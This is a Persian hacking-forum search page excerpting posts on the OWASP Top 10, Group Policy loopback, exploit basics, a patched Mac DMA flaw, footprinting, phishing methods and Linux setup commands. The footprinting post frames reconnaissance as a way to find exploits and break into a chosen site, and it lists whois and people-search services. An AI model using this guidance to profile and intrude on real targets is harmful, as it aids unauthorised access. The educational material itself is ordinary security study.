امکانات انجمن
  • مهمانان محترم می توانند بدون عضویت در سایت در بخش پرسش و پاسخ به بحث و گفتگو پرداخته و در صورت وجود مشکل یا سوال در انجمنن مربوطه موضوع خود را مطرح کنند

moharram

iran rules jazbe modir
snapphost mahak

جستجو در تالارهای گفتگو

در حال نمایش نتایج برای برچسب های 'Hacking'.



تنظیمات بیشتر جستجو

  • جستجو بر اساس برچسب

    برچسب ها را با , از یکدیگر جدا نمایید.
  • جستجو بر اساس نویسنده

نوع محتوا


تالارهای گفتگو

  • انجمن های اصلی تیم
    • قوانین و اساسنامه ی انجمن
    • آخرین خبرها
    • اطلاعیه ها
    • مدیران
    • دوره های آموزشی
    • انتقادات پیشنهادات
  • آموزش های تخصصی
    • برنامه نویسی
    • هکینگ
    • امنیت
    • شبکه
    • سخت افزار
    • متفرقه
  • پرسش و پاسخ (FAQ)
    • سوالات و مشکلات پیرامون برنامه نویسی
    • سوالات و مشکلات پیرامون هکینگ
    • سوالات و مشکلات پیرامون امنیت
    • سوالات و مشکلات پیرامون شبکه
    • سوالات و مشکلات پیرامون سخت افزار
    • سوالات و مشکلات پیرامون سیستم عامل
    • سوالات و درخواست های متفرقه
  • سیستم عامل
    • ویندوز
    • لینوکس
    • کالی لینوکس
    • اندروید
    • اپل
  • بخش ویژه (مخصوص اعضای ویژه)
    • هکینگ
    • امنیت
    • شبکه
    • متفرقه
  • پروژه های تیم
    • پروژه های نفوذ به سایت
    • پروژه های ساخت نرم افزار
    • پروژه های آسیب پذیری
    • پروژه های ساخت سایت
  • مسابقات
    • مسابقات امنیت و هکینگ
    • مسابقات برنامه نویسی
    • مسابقات کرکینگ
  • عمومی
    • توسعه دهندگان
    • ترفند های متفرقه
    • گرافیک
    • ربات تلگرام
  • بحث آزاد علمی
    • عمران و معماری
    • الکتروتکنیک
    • کتابخانه سراسری
  • بخش دریافت
    • دانلود نرم افزار
  • آرشیو
    • بایگانی

دسته ها

  • Articles

772 نتیجه پیدا شد

  1. Hacking

    موسسه ها برای انجام تست نفوذ از استاندارد های زیر استفاده میکنند : ISO/IEC 27001 ISO/IEC 27002 OSTTMM OWASP LPT پروژه Open Web Application Security Project یا OWASP یک پروژه غیر دولتی مورد تایید در سر تا سر جهان هست که به منظور بالا بردن سطح امنیت در برنامه های نرم افزاری ایجاد شده است. ماموریت این پروژه این هست که مسائل امنیتی نرم افزاری را به طور روشن بیان کند و افراد و شرکت ها بنا به نیاز خودشون به این لیست ها مراجه می کنند و بطور کاملا رایگان از آن استفاده می کنند و با آخرین و بالا ترین مشکلات امنیتی آشنا می شوند . این پروژه یک چارچوب کاری برای انجام عملیات تست نفوذ ارائه میدهد و براساس ان در اخر عملیات تست نفوذ براساس رعایت یا عدم رعایت چارچوب های مورد تایید خود به کاربر اطلاعاتی در مورد سطح امنیت وبسایت و چگونگی بالابردن ان اطلاعاتی میدهد. ۱۰ مدل امنیتی OWASP Cross-Site Scripting این آسیب پذیری زمانی رخ می دهد که نرم افزار کاربردی، داده های نا امن را بدون اعتبار سنجی برای کاوشگر وب ارسال نماید. هکر توسط این آسیب پذیری قادر به اجرای اسکریپت بر روی کاوشگر قربانی، دزدیدن session و یا تغییر مسیر قربانی به وب سایت های مخرب (malicious sites) خواهد بود Using Components with Known Vulnerability کامپوننت ها همانند کتابخانه ها، قالب های کاری و سایر ماژول های نرم افزار معمولا با دسترسی کامل اجرا می گردند. در صورتی که آسیب پذیری کامپوننتی افشا گردد، تخریب اطلاعات و دسترسی به سرور امکان پذیر خواهد بود Cross-Site Request Forgery این آسیب پذیری، کاوشگر قربانی وارد شده به نرم افزار را مجبور می کند که درخواست HTTP جعل شده را به همراه session's cookie قربانی و سایر اطلاعات مورد نیاز اعتبار سنجی شده را به برنامه کاربردی ارسال نماید Missing Function Level Access Control بسیاری از نرم افزارها قبل از اجرای فانکشن و نمایش خروجی در میانای کاربر (UI)، حق دسترسی را بررسی می نمایند Unvalidated Redirects and Forwards نرم افزارهای کاربردی دائما در حال تغییر مسیر کاربران به صفحات دیگر می باشند و از داده های نا امن برای تشخیص صفحات مقصد استفاده می کنند. بدون استفاده از اعتبارسنجی مناسب، هکر قادر به هدایت قربانی به وب سایت های مخرب و فیشینگ خواهد بود Sensitive Data Exposure بسیاری از نرم افزارهای کاربردی تحت وب بدرستی از اطلاعات محرمانه خود (همانند اطلاعات اعتبار سنجی کاربران و اطلاعات کارت بانکی) محافظت نمی کنند. هکر با دزدیدن این اطلاعات قادر به سوء استفاده از آنها و ایجاد خرابکاری خواهد بود Security Misconfiguration امنیت مناسب نیارمند تعریف و استقرار پیکربندی مناسب برای نرم افزار، قالب کاری، وب سرور، بانک اطلاعاتی و سیستم عامل می باشد. تنظیمات امن می بایستی تعریف، پیاده سازی و نگهداری شوند که البته تنظیمات پیش فرض بسیار نا امن می باشند. همچنین می بایستی همیشه نرم افزارها بروز نگهداشته شوند Insecure Direct Object References این اسیب پذیری زمانی رخ می دهد که برنامه نویس دسترسی ارجاع یک منبع به اشیاء داخلی برنامه را باز گذاشته باشد (همانند فایل، دایرکتوری و یا بانک اطلاعاتی). بدون کنترل دسترسی به این اشیاء هکر قادر به دستکاری منابع در جهت دسترسی به اطلاعات حیاتی خواهد بود Broken Authentication and Session Management فانکشنهای نرم افزارهای کاربردی مرتبط با اعطای مجوز دسترسی و مدیریت Session گاها به درستی پیاده سازی نشده و این امکان را به هکرها می دهد تا به اطلاعات حیاتی همانند رمز های عبور، کلید ها، Session Token در جهت سوء استفاده و جعل هویت دسترسی پیدا کنند Injection آسیب پذیری تزریق کد همانند تزریق SQL، OS و LDAP زمانی رخ می دهد که داده های نامعتبر به بک مترجم (Compiler or Interpreter) بجای دستور و یا query ارسال می گردند. هکر از طریق داده های نامعتبر قادر به فریب مترجم شده و امکان اجرای دستورات غیر قانونی و یا روئیت اطلاعات حیاتی بدون مجوز دسترسی برای او فراهم می شود
  2. Hacking

    در تنظیماتGroup Policy در ویندوز سرور گزینه ای به نامLoopback Processing وجود دارد که بسیار مشاهده می شود مفهوم این مسئله به درستی بیان نمی شود. در حقیقت تنها راه اینکه به درستی مفهوم این موضوع درک شود استفاده از یک سناریو است. اکثر کارشناسان و حتی برخی از مدرسین زمانیکه نامLoopback Processing را می شنوند تنها چیزی که عنوان می کنند و اکثرا بدون تحقیق و کار عملی می باشد این است که بصورت پیشفرضPolicy هایUser Configuration بر رویComputer Configuration در اصطلاحOverride می کند یا اولویت دارد. در صورتیکه اینPolicy را فعال کنید عکس این عمل صورت می گیرد وPolicy های Computer Configuration بر رویUser Configuration اولویت پیدا می کند ، در جاهایی از آن استفاده می کنیم که معمولا سرورها یا کامپیوترهای کیوسک یا لابراتوار وجود دارد و ما می خواهیم که یک کاربر زمانیکه وارد یکی از این سیستم ها می شود فارق از اینکه عضو کدام گروه مدیریتی استPolicy های Computer ها به آن اعمال شود. تا اینجا مشکلی نیست اما ابهام در اینجا پیش می آید که مگرPolicy هایComputer Configuration وUser Configuration یکسان هستند که در صورت بروز تداخل در بین این دو برتری برای یکی قائل شویم ؟ با نگاه کرده بهPolicy های قسمتComputer Configuration وUser Configuration درGroup Policy متوجه می شوید که این دو نوعPolicy تداخل چندانی با هم ندارند وPolicy های متفاوتی دارند . اینجاست که درک مفهوم Loopback Processing کمی مبهم می شود. همانطور که عنوان کردم بهترین راهکار برای درک موضوعLoopback Processing استفاده از یک سناریو است . فرض کنید در یک سازمان قرار دارید که ساختار اکتیودایرکتوری آن دارای دو عددOrganizational Unit به نام های IT-Servers وIT-Users می باشد. IT-Servers IT-Users درOrganizational Unit به نامIT-Servers کامپیوترها یاComputer Account های ما قرار دارند و درOrganizational Unit به نامIT-Users کاربران یاUser Account های ما قرار دارند. فرض کنید که برای IT-Servers شما یکGPO درست کرده اید و آن را به اینOU لینک کرده اید ، طبیعی است که تنظیمات زیر برای اینOU وجود خواهد داشت: Computer Configuration User Configuration برایIT-Users هم به همین شکل یکGPO ایجاد کرده اید که به اینOU لینک داده شده است وPolicy های زیر هم طبیعی است که برای اینOU نیز وجود خواهد داشت: Computer Configuration User Configuration نکته مهم در اینجاست ، اگر کاربری که درIT-Users قرار دارد وارد یکی از سرورهایی شود که درIT-Servers قرار دارد آنوقت چه اتفاقی خواهد افتاد ؟ در اینجا در هنگام ورود کاربر 2 نوعPolicy وجود دارد که می تواند اعمال شود که به ترتیب موارد زیر هستند: Computer Configuration مربوط بهGPO ای که بهIT-Servers لینک داده شده است User Configuration مربوط بهGPO ای که بهIT-Users لینک داده شده است. بنابراین در این حالت کاربر مورد نظر ما در هر جایی که وارد این سرورها شود در نهایت تنظیمات مربوط بهPolicy های کاربری به او اعمال خواهد شد که در IT-Users اعمال شده است و در هنگام ورود به سیستم این تنظیمات بر روی سایر تنظیماتUser Configuration ای که وجود دارد اولویت خواهد داشت. این تنظیمات پیشفرض است. شما می خواهید که اگر کاربر مورد نظر شما بر روی سرورهای موجود درIT-Servers وارد شد تنظیماتUser Configuration ای به وی اعمال شود که در اینOU قرار دارد. بنابراین اینجا همان لحظه ای است که به سراغ یکPolicy به نامUser Group Policy Loopback Processing Mode می رویم. زمانیکه شما اینPolicy را فعال می کنید می توانید دو امکان مختلف به نام هایReplace وMerge را انتخاب کنید. در ادامه با توجه به سناریو موجود این دو مورد را توضیح خواهیم دارد. حالتReplace Mode زمانیکه شماUser Group Policy Loopback Processing Mode را در حالت Replace Mode قرار می دهید و اینPolicy را بهIT-Servers لینک می کنید ، ببینید وضعیت اعمال شدنPolicy ها به چه شکلی خواهد بود: Computer Configuration مربوط بهGPO ای که بهIT-Servers لینک داده شده است User Configuration مربوط بهGPO ای که بهIT-Servers لینک داده شده است. توجه کنید که در این حالت هیچیک ازPolicy های مربوط بهIT-Users به کاربران اعمال نخواهد شد. حالتMerge Mode زمانیکه شماUser Group Policy Loopback Processing Mode را در حالت Merge Mode قرار می دهید و اینPolicy را بهIT-Servers لینک می کنید ، ببینید وضعیت اعمال شدنPolicy ها به چه شکلی خواهد بود: Computer Configuration مربوط بهGPO ای که بهIT-Servers لینک داده شده است User Configuration مربوط بهGPO ای که بهIT-Servers لینک داده شده است. وUser Configuration مربوط بهGPO ای که بهIT-Users لینک داده شده است. نکته در اینجاست که در صورتیکه در این میان تداخلی وجود داشته باشدPolicy هایIT-Servers بر رویPolicy هایIT-Users اولویت خواهند داشت و آنها اجرا می شوند. به دلیل اینکهGPO کامپیوترها زودتر ازGPO کاربرها پردازش می شود اگر تداخلی باشد تنظیمات کامپیوترها اولویت پیدا خواهند کرد. اما چرا این تنظیمات می تواند اینقدر مهم باشد ، اینPolicy را زمانی می توانید استفاده کنید که در شبکه دامین شما کاربرانی وجود دارند که پوشه های خودشان را توسطGroup Policy به حالتRedirect در آورده اند اما شما نمی خواهید اینRedirect شدن زمانی رخ دهید که کاربر با استفاده ازRemote Desktop Services به سیستم ها وارد وی شود. در این حالت شما اینPolicy را با استفاده از حالتReplace Mode بر رویGPO ای تنظیم می کنید که بهOU ای اشاره می کند کهComputer Account های مربوط به سرورهایRemote Desktop Services در آن قرار دارد. در این حالت زمانی که کاربر به این سرورها Remote وارد شودRedirect شدن فولدرها انجام نخواهد شد. IT باشید
  3. Hacking

    با سلام در این تاپیک تمام چیز های که برای یه هکر تازه وارد لازمه وجود داره جم اوری شده توسط Rednofozi Redhat and black hat hackers by Rednofozi
  4. Hacking

    پروتکل (Protocol) در لغت و اصطلاح علمی به معنی قرار داد است ، پروتکل ها تونل ها و مصیر های ارتباطی بین دستگاه های مختلف هستند ، قوانینی هستند که دستگاه های مختلف بوسیله آنها با یکدیگر صحبت میکنند و به برقراریه ارتباط دست میزنند. بدین منظور پروتکل های مختلفی تعریف گردیده است که هر یک از قوانین خاص خود تبعیت میکنند و اطلاعات مربوطه را با این قوانین خاص از مبدا به مقصد انتقال میدهند. از پروتکل های نام آشنا میتوان به HTTP (Hyper Text Transfer Protocol) که برای انتقال اطلاعات متنی با سرعت بالا (صفحات وب) استفاده میگردد ، FTP (File Transfer Protocol) که برای انتقال سریع فایل استفاده میشود ، اشاره نمود.
  5. سیستم*عامل مک*اواس پیش از شروع به کار باید دیسک را به*صورت رمزگشایی*شده دربیاورد و به*محض اینکه دیسک در حالت رمزگشایی*شده قرار بگیرد، اقدامات محافظتی در برابر حملات DMA فعال خواهند شد. اما در فرآیند بوت شدن و پیش از شروع به کار سیستم*عامل، هیچ*گونه محافظتی در برابر حملات DMA وجود ندارد و همین موضوع باعث می*شود هک شدن رمز عبور مک، قابل انجام باشد. مشکل دیگر در این زمینه، این است که پس از باز شدن قفل دیسک، به*جای اینکه رمز عبور از حافظه پاک شود، در حافظه* نگه*داری خواهد شد. رمز عبور در دو جایگاه مختلف در حافظه قرار خواهد گرفت و سپس با هر بار ری*بوت کردن دستگاه، جایگاه قرارگیری رمز عبور در حافظه تغییر می*کند. به همین دلیل اتصال دستگاه تاندربولت مورد اشاره به یک رایانه*ی مک که در حال ری*بوت شدن است، امکان دریافت و مشاهده*ی رمز عبور را برای هکر فراهم می*کند. افشا محقق امنیتی مذکور، باگ DMA را اواخر ماه جولای سال میلادی جاری کشف و سپس آن را در رویداد DEFCON که در تاریخ ۵ آگوست برگزار شد، ارائه کرده است. اپل ۱۵ آگوست با وی تماس گرفت و روز بعد این شرکت از فریسک درخواست کرد تا حل شدن کامل این مشکل، از افشای آن به*صورت عمومی خودداری کند. چهار ماه بعد و در تاریخ ۳۱ دسامبر، شرکت اپل نسخه*ی جدیدی از سیستم*عامل دسکتاپ خود را (macOS 10.12.2) منتشر کرد که در این نسخه مشکل یادشده به*صورت کامل رفع شده است. بنا به اعلام فریسک، اپل چهار ماه برای حل این مشکل زمان صرف کرده است و به همین دلیل این شرکت می*تواند راه*حل کاملی برای جلوگیری از حملات DMA ارائه کند. این محقق می*گوید با رفع مورد امنیتی یادشده، حالا رایانه*های مک احتمالا یکی از امن*ترین پلتفرم*ها در برابر این نوع حملات هستند. انتظار می*رود با شروع سال جدید، اپل نرم*افزار رمزنگاری FileVault 2 را با یک فایل* سیستم رمزنگاری بومی جایگزین کند.
  6. Hacking

    اکسپلویت ها (Exploit) یا کدهای مخرب برای سوء استفاده از حفره های امنیتی در برنامه های کاربردی، سیستم عامل ها، هسته سیستم عامل ها، وب سرورها، سخت افزارها و در کل هر نرم افزاری که در یک شبکه و یا کامپیوتر کار میکند نوشته میشود. این کدها و برنامه ها لزما برای خرابکاری نوشته و منتشر نمیشوند و بعضی ها در جهت اهداف تحقیقاتی و آموزشی نوشته میشوند، هر چند استفاده از این کدها برای نفوذ به سیستم های کاربران امری متداول میباشد. اکسپلویت ها میتوانند با زبان های مختلف برنامه نویسی نوشته شوند و هدف آنها استفاده و ایجاد دسترسی غیر مجاز، ایجاد حملات مختلف و یا اختلال در سیستم های کامپیوتری میباشد. اکسپلویت ها معمولا هنگام کشف آسیب پذیری ها و یا بعد از کشف حفره های امنیتی نوشته میشوند، اکسپلویت نویس ها عمدتا هکر میباشند که با تکنیک ها و متدهای مختلف اقدام به نوشتن کدهای مخرب مینمایند، بعضا دیده میشود که متخصصان و مدیران امنیتی مطرح نیز اقدام به نوشتن اکسپلویت، برای اثبات آسیب پذیری های مهم کرده اند. اکسپلویت ها به زبانهای مختلف و در دسته بندی های مختلف عرضه میشوند. اکسپلویت ها عمدتا به زبانهای C++، Perl و یا PHP و Python نوشته میشوند، ولی بسته به نوع آسیب پذیری و بستر آسیب پذیر متغییر میباشند، برای مثال زبانی که اکسپلویت های معروف Metasploit با آن نوشته شده Ruby میباشد. عمده اکسپلویت ها به دو نوع تقسیم بندی میشوند : اکسپلویت های لوکال اکسپلویت های ریموت اکسپلویت های Local نیاز به دسترسی قبلی به سیستم قربانی دارد و بعد از ایجاد دسترسی اولیه که ممکن است از آسیب پذیری های تحت وب دیگر به دست آمده باشد مورد استفاده قرار میگیرد که منجر به ارتقاء سطح دسترسی کاربر را به مدیر (ادمین) فراهم میکنند. اکسپلویت های Remote از آسیب پذیری های برنامه های کاربردی (Aplicattion) استفاده کرده و منجر به نفوذ به شبکه میشوند و معمولا دسترسی های غیر مجاز با سطوح مختلف بسته به نوع آسیب پذیری را ایجاد میکنند. اکسپلویت ها معمولا بصورت سورس و کد منتشر میشوند که میتوانند در سیستم عامل های مختلف مورد استفاده قرار گیرند، و نیاز به کامپایل دارند، معمولا هکرها همه کامپایلرهای زبان های مختلف را در سیستم خود دارند و کامپایلرها جزئی جدا نشدنی از ابزارهای هک برای هکرها محسوب میشوند. Security Reserchers کیست؟ (پژوهشگرها یا محققین امنیتی) باگ ها و حفره های امنیتی توسط این افراد کشف و گزارش میشوند که منجر به نوشته شدن کدهای مخرب و اکسپلویت ها، برای آسیب پذیری های کشف شده میشوند، بعضا خود این افراد اقدام به کد نویسی و انتشار آن در سایتهای امنیتی برای اثبات آسیب پذیری و گاهی اوقات برای معروفیت خود مینمایند، عمده این محققین جوان و جویای نام بوده و حفره های امنیتی خطرناک که باعث رخداد های بزرگ امنیتی جهانی میشوند، توسط این جوانهای هکر کشف و مورد استفاده قرار میگیرند. منافع اقتصادی اکسپولیت و اکسپلویت نویسی امروزه خرید و فروش این کدها بصورت یک تجارت درآمده است، برخی Resercher ها نیز از علم خود برای منافع اقتصادی و تجاری استفاده میکنند، باگ های و حفره های امنیتی را کشف و به فروش میرسانند، این باگ ها که توسط هکرهای هدف دار خریداری میشوند گاه تا چندین میلیون و یا چند صد میلیون تومان قیمت گذاری میشوند.
  7. Hacking

    موسسه ها برای انجام تست نفوذ از استاندارد های زیر استفاده میکنند : ISO/IEC 27001 ISO/IEC 27002 OSTTMM OWASP LPT پروژه Open Web Application Security Project یا OWASP یک پروژه غیر دولتی مورد تایید در سر تا سر جهان هست که به منظور بالا بردن سطح امنیت در برنامه های نرم افزاری ایجاد شده است. ماموریت این پروژه این هست که مسائل امنیتی نرم افزاری را به طور روشن بیان کند و افراد و شرکت ها بنا به نیاز خودشون به این لیست ها مراجه می کنند و بطور کاملا رایگان از آن استفاده می کنند و با آخرین و بالا ترین مشکلات امنیتی آشنا می شوند . این پروژه یک چارچوب کاری برای انجام عملیات تست نفوذ ارائه میدهد و براساس ان در اخر عملیات تست نفوذ براساس رعایت یا عدم رعایت چارچوب های مورد تایید خود به کاربر اطلاعاتی در مورد سطح امنیت وبسایت و چگونگی بالابردن ان اطلاعاتی میدهد. ۱۰ مدل امنیتی OWASP Cross-Site Scripting این آسیب پذیری زمانی رخ می دهد که نرم افزار کاربردی، داده های نا امن را بدون اعتبار سنجی برای کاوشگر وب ارسال نماید. هکر توسط این آسیب پذیری قادر به اجرای اسکریپت بر روی کاوشگر قربانی، دزدیدن session و یا تغییر مسیر قربانی به وب سایت های مخرب (malicious sites) خواهد بود Using Components with Known Vulnerability کامپوننت ها همانند کتابخانه ها، قالب های کاری و سایر ماژول های نرم افزار معمولا با دسترسی کامل اجرا می گردند. در صورتی که آسیب پذیری کامپوننتی افشا گردد، تخریب اطلاعات و دسترسی به سرور امکان پذیر خواهد بود Cross-Site Request Forgery این آسیب پذیری، کاوشگر قربانی وارد شده به نرم افزار را مجبور می کند که درخواست HTTP جعل شده را به همراه session's cookie قربانی و سایر اطلاعات مورد نیاز اعتبار سنجی شده را به برنامه کاربردی ارسال نماید Missing Function Level Access Control بسیاری از نرم افزارها قبل از اجرای فانکشن و نمایش خروجی در میانای کاربر (UI)، حق دسترسی را بررسی می نمایند Unvalidated Redirects and Forwards نرم افزارهای کاربردی دائما در حال تغییر مسیر کاربران به صفحات دیگر می باشند و از داده های نا امن برای تشخیص صفحات مقصد استفاده می کنند. بدون استفاده از اعتبارسنجی مناسب، هکر قادر به هدایت قربانی به وب سایت های مخرب و فیشینگ خواهد بود Sensitive Data Exposure بسیاری از نرم افزارهای کاربردی تحت وب بدرستی از اطلاعات محرمانه خود (همانند اطلاعات اعتبار سنجی کاربران و اطلاعات کارت بانکی) محافظت نمی کنند. هکر با دزدیدن این اطلاعات قادر به سوء استفاده از آنها و ایجاد خرابکاری خواهد بود Security Misconfiguration امنیت مناسب نیارمند تعریف و استقرار پیکربندی مناسب برای نرم افزار، قالب کاری، وب سرور، بانک اطلاعاتی و سیستم عامل می باشد. تنظیمات امن می بایستی تعریف، پیاده سازی و نگهداری شوند که البته تنظیمات پیش فرض بسیار نا امن می باشند. همچنین می بایستی همیشه نرم افزارها بروز نگهداشته شوند Insecure Direct Object References این اسیب پذیری زمانی رخ می دهد که برنامه نویس دسترسی ارجاع یک منبع به اشیاء داخلی برنامه را باز گذاشته باشد (همانند فایل، دایرکتوری و یا بانک اطلاعاتی). بدون کنترل دسترسی به این اشیاء هکر قادر به دستکاری منابع در جهت دسترسی به اطلاعات حیاتی خواهد بود Broken Authentication and Session Management فانکشنهای نرم افزارهای کاربردی مرتبط با اعطای مجوز دسترسی و مدیریت Session گاها به درستی پیاده سازی نشده و این امکان را به هکرها می دهد تا به اطلاعات حیاتی همانند رمز های عبور، کلید ها، Session Token در جهت سوء استفاده و جعل هویت دسترسی پیدا کنند Injection آسیب پذیری تزریق کد همانند تزریق SQL، OS و LDAP زمانی رخ می دهد که داده های نامعتبر به بک مترجم (Compiler or Interpreter) بجای دستور و یا query ارسال می گردند. هکر از طریق داده های نامعتبر قادر به فریب مترجم شده و امکان اجرای دستورات غیر قانونی و یا روئیت اطلاعات حیاتی بدون مجوز دسترسی برای او فراهم می شود منبع anonysec
  8. Hacking

    یکی از اولین مباحثی که یک هکر باید بلد باشه Footprinting هست. در Footprinting ما میام یکسری اطلاعات جامع با استفاده از whois از تارگت مون (هدف) پیدا میکنیم. این اطلاعات میتونه شامل ip سرور، مشخصات سرور و اپلیکیشن هایی که روی سرور استفاده میکنه باشه. برای مثال فرض کنید ما یک سایت رو میخوایم بزنیم بعد از بررسی متوجه میشیم این سایت داره از CMS Wordperes استفاده میکنه که ما در اینجا دنبال باگ های وردپرس میگردیم یا مثلا بعد از پیدا کردن ip یک سایت ما میتونیم با استفاده از ابزاری مثل ایکس اسکن یا نسوز اون سرور رو شروع کنیم به اسکن کردن که اگر باگی داشته باشه توی خروجی این ابزار به ما اعلام میکنه که هکر میتونه این باگ رو براش یک اکسپلویت بنویسه یا اینکه از سایت هایی که اکسپلویت ارائه میدن اکسپلویتش رو پیدا کنه و با استفاده از اون اکسپلویت به اون سرور نفوذ کنه. در زیر به انواع متدولوژی های Footprinting اشاره شده است : Internet Footprinting : جمع آوری اطلاعات وب سایت ها یا شرکت ها از طریق اینترنت (گوگل) Competitive intelligence : اطلاعات مربوط به رقابت شرکت ها و وب سایت ها مختلف Whois Footprinting : جستوجو برای بدست آوردن اطلاعات سایت ها و مالکان سایت DNS Footprinting : بدست آوردن اطلاعات DNS سرور ها Network Footprinting : برای به دست اوردن اطلاعات مربوط به شبکه مورد نظر (مثلا Ip Address, Subnet Mask و غیره) WebSite Footprinting : برای استخراج اطلاعات از اون وب سایت استفاده میشه E-mail Footprinting : برای به دست اوردن ایمیل های مهم یک سازمان مورد استفاده قرار میگیرد Google Hacking : با استفاده از متدهای جستجو یکسری اطلاعاتی رو پیدا میکنید که در حالت عادی در سرچ و جستجوهای گوگل پیدا نمیکنید. (مثلا نواقص امنیتی سرورها، صفحاتی که این اطلاعات امنیتی نواقص رو دارند، صفحاتی که اطلاعات مربوط به ورود یکسری از پورتال ها رو دارند، یکسری صفحاتی که ممکن است Error Messege های رو فاش کنه، فایل هایی که حاوی پسورد هستند و یکسری از دایرکتوری ها یا پوشه های حساس) چند نمونه از سایت هایی که whois میدن به ما را در زیر مشاهده میکنید : http://whois.domaintools.com WHOIS Search, Domain Name, Website, and IP Tools - Who.is American Registry for Internet Numbers (ARIN) InterNIC | Whois Query Whois Server - IRNIC این سایت ها هم برای جستجوی افراد هست : https://pipl.com White Pages | People Finder - AnyWho Spokeo People Search | White Pages | Find People این سایت ها هم برای به دست اوردن اطلاعات DNS مورد استفاده قرار میگیره : DNS tools | Manage Monitor Analyze | DNSstuff http://network-tools.com
  9. Hacking

    حملات فیشینگ در سال ۱۹۸۷ توضیح داده شد و برای اولین بار در سال ۱۹۹۵ این واژه مورد استفاده قرار گرفت. واژه ی فیشینگ مخفف عبارت Password Harvesting Fishing (شکار کردن گذرواژه کاربر از طریق یک طعمه) است که در آن حرف Ph به جای F برای القای مفهوم فریفتن جایگزین شده است. حملات فیشینگ یک نمونه از حملات مهندسی اجتماعی به منظور گمراه کردن کاربران اینترنتی براي بدست آوردن اطلاعت محرمانه آنان است. در این تکنیک فیشرها (کسانی که عمل فیشینگ را انجام می دهند ) با طراحی یک سایت کار خود را آغاز می کنند. پس از انجام این مرحله آنها باید روشی را پیدا کنند که قربانیان خود را مجبور کنند تا در سایت آنها وارد شده و اطلاعات محرمانه خود را وارد کنند که به روش هاي مختلفی این کار عملی می شود. انواع مختلف حمله فیشینگ 1. فیشینگ فریبنده: در این نوع از روش های فیشینگ، یک هکر از ایمیلی فریبنده برای کلاهبرداری از کاربر استفاده می کند. او حجم زیادی از این ایمیل های به ظاهر جذاب که کاربر را مجاب می کند روی لینکی که در ایمیل قرار داده شده است کلیک کند، ارسال می کند. سپس هکر از کاربر می خواهد اطلاعات حساب خود را در جایی وارد کند و بعد از آن تنها کاری که هکر نیاز است انجام دهد، جمع آوری اطلاعاتی است که کاربر در اختیار او قرار داده است. 2. جعل وب سایت ها: امروزه این روش، معمول ترین راه برای کلاهبرداری از کاربران اینترنتی است. در این روش، هکر، مسیر کاربر را به یک url (وب سایت) جعلی که بسیار شبیه وب سایت اصلی است، تغییر می دهد. هکر همچنین می تواند از آسیب پذیری وب سایت سوءاستفاده کند و کاربر را به دام بیندازد. آنها می توانند یک جاوا اسکریپت را به منظور تغییر نوار آدرس به وب سایت تزریق کنند یا از نقاط ضعف xss (اسکریپت نویسی فراوبگاهی) نهایت استفاده را ببرند. 3. فیشینگ تلفنی: در این نوع از فیشینگ، یک هکر خود را به عنوان شخصی مورد اعتماد و نماینده موسسه یا شرکتی معتبر معرفی کرده و اطلاعات مهم را از طریق تلفن از شنونده دریافت می کند. این روش نه به وب سایت نیاز دارد و نه به هیچ گونه ایمیل. 4. قاپیدن تب: این روش جدیدترین روش فیشینگ است. قاپیدن تب، روشی است که وقتی یک کاربر چند تب باز دارد، به طور خودکار (و البته کاملا آرام) آن کاربر را به سایت یک حمله کننده هدایت می کند. راه های جلب اعتماد کاربر دلایل متعددی وجود دارد که اثبات کند چرا فیشینگ به خوبی کار می کند. این توانایی کلاه برداران است که با حقه هایی ناب ذهن قربانی را مجذوب خود می کنند. فیشرها می توانند پیشنهادهای وسوسه انگیزی چون فروشگاه افتخاری به منظور طعمه کاربران بدهند. این روشی بسیار کارآمد است برای مردمی که عاشق پیشنهادهای رایگان هستند. کلاه برداران همچنین می توانند از رویدادهای مهم نیز استفاده نیز کنند مثلا یکی از بزرگترین کلاه برداری های اخیر در جام جهانی ۲۰۱۴ برزیل اتفاق افتاد. در جریان این بازی ها یک سایت فیشینگ خود را وبسایت رسمی فیفا برای این بازی ها معرفی کرد و کاربران را برای امضای طوماری در دفاع از لوئیس سوارز ستاره تیم ملی اروگوئه دعوت کرد، فرد برای ثبت نام در این طومار باید مشخصاتی از قبیل شماره تلفن، نام کشور و ایمیل را در فرم آنلاین ثبت می کرد و زمینه تعداد بسیار زیادی حمله فیشینگ با این حقه فراهم می شد. یکی دیگر از روش های مثمر ثمر برای فریب دادن قربانی کلیک کردن قربانی بر روی لینک هایی است که از روی اجبار و وحشت به قربانی داده می شود. این اتفاق می تواند طی یک سناریو اتفاق بیفتد به طوری که کلاه بردار با تهدید حساب بانکی یا پروفایل کاربری قربانی او را مجاب به کلیک کردن می کند. این کار ممکن است پشت تلفن که اصطلاحا به آن ویشینگ گویند انجام گیرد. همه افراد در چنین وضعیت بحرانی هوشیار نیستند و آنها از اطلاع دادن این موضوع به پلیس خودداری می کنند تا مبادا اطلاعات شخصی و مالی شان از دست نرود. حملات سودآور محبوبیت عمومی فیشینگ تا زمانی که هکرها آن را یکی از پرسودترین روش های جرایم کامپیوتری میدانند از بین نخواهد رفت. ابزار فیشینگ به راحتی در دسترس است و این حمله به لطف شبکه های اجتماعی آسان تر شده است. هکر نیازی به انجام کارهای پیچیده ندارد و به راحتی میتواند این کار را انجام دهد . هکر با ایجاد یک بانک داده گسترده از تماس های زنده میتواند با ارسال نرم افزار مخرب به صورت عمده سیستم های موجود در بانک طعمه های مختلفی را به چنگ اورد. در نهایت فرض نکنید که تنها چیزی که کلاه بردار از شما سرقت میکند اطلاعات مالی شما و کارت اعتباری شماست. بسیاری از فیشرها از به دست آوردن اطلاعات کاربری شما در شبکه های اجتماعی و دیگر چیزها بسیار خوشحال میشود .
  10. Linux

    با سلام برای نصب php باید قبلا سرویس های apachi و mysql را نصب کنید که در اموزش های قبلی گذاشته بودم با دستور زیر اقدام به نصب php میکنیم sudo apt-get install php -y با دستور زیر فایل های مربوط به apachi و mysql را هم نصب میکنیم sudo apt-get install -y php-{bcmath,bz2,intl,gd,mbstring,mcrypt,mysql,zip} && sudo apt-get install libapache2-mod-php -y با دو دستور زیر هم سرویس های apachi و my sql را فعال میکنیم sudo systemctl enable apache2.service sudo systemctl enable mysql.service شما موفق با راه اندازی php روی سایت خود شده اید . نکته : اگر قصت دارید یک هاستینگ راه اندازی کنید قطعا نیاز شما خواهد بود . امیدوارم خوشتان امده باشد
  11. Linux

    یکی از مورد نیاز ترین ابزار سیستم عامل ها ماشین حساب است اگر شما یک توضیعی برپایه دبیان ساخته اید میتوانید با دستور زیر ماشین حساب gnome را نصب و راه اندازی کنید و در سیستم عاملتان قرار دهید sudo snap install gnome-calculator عکس ماشین حساب
  12. Hacking

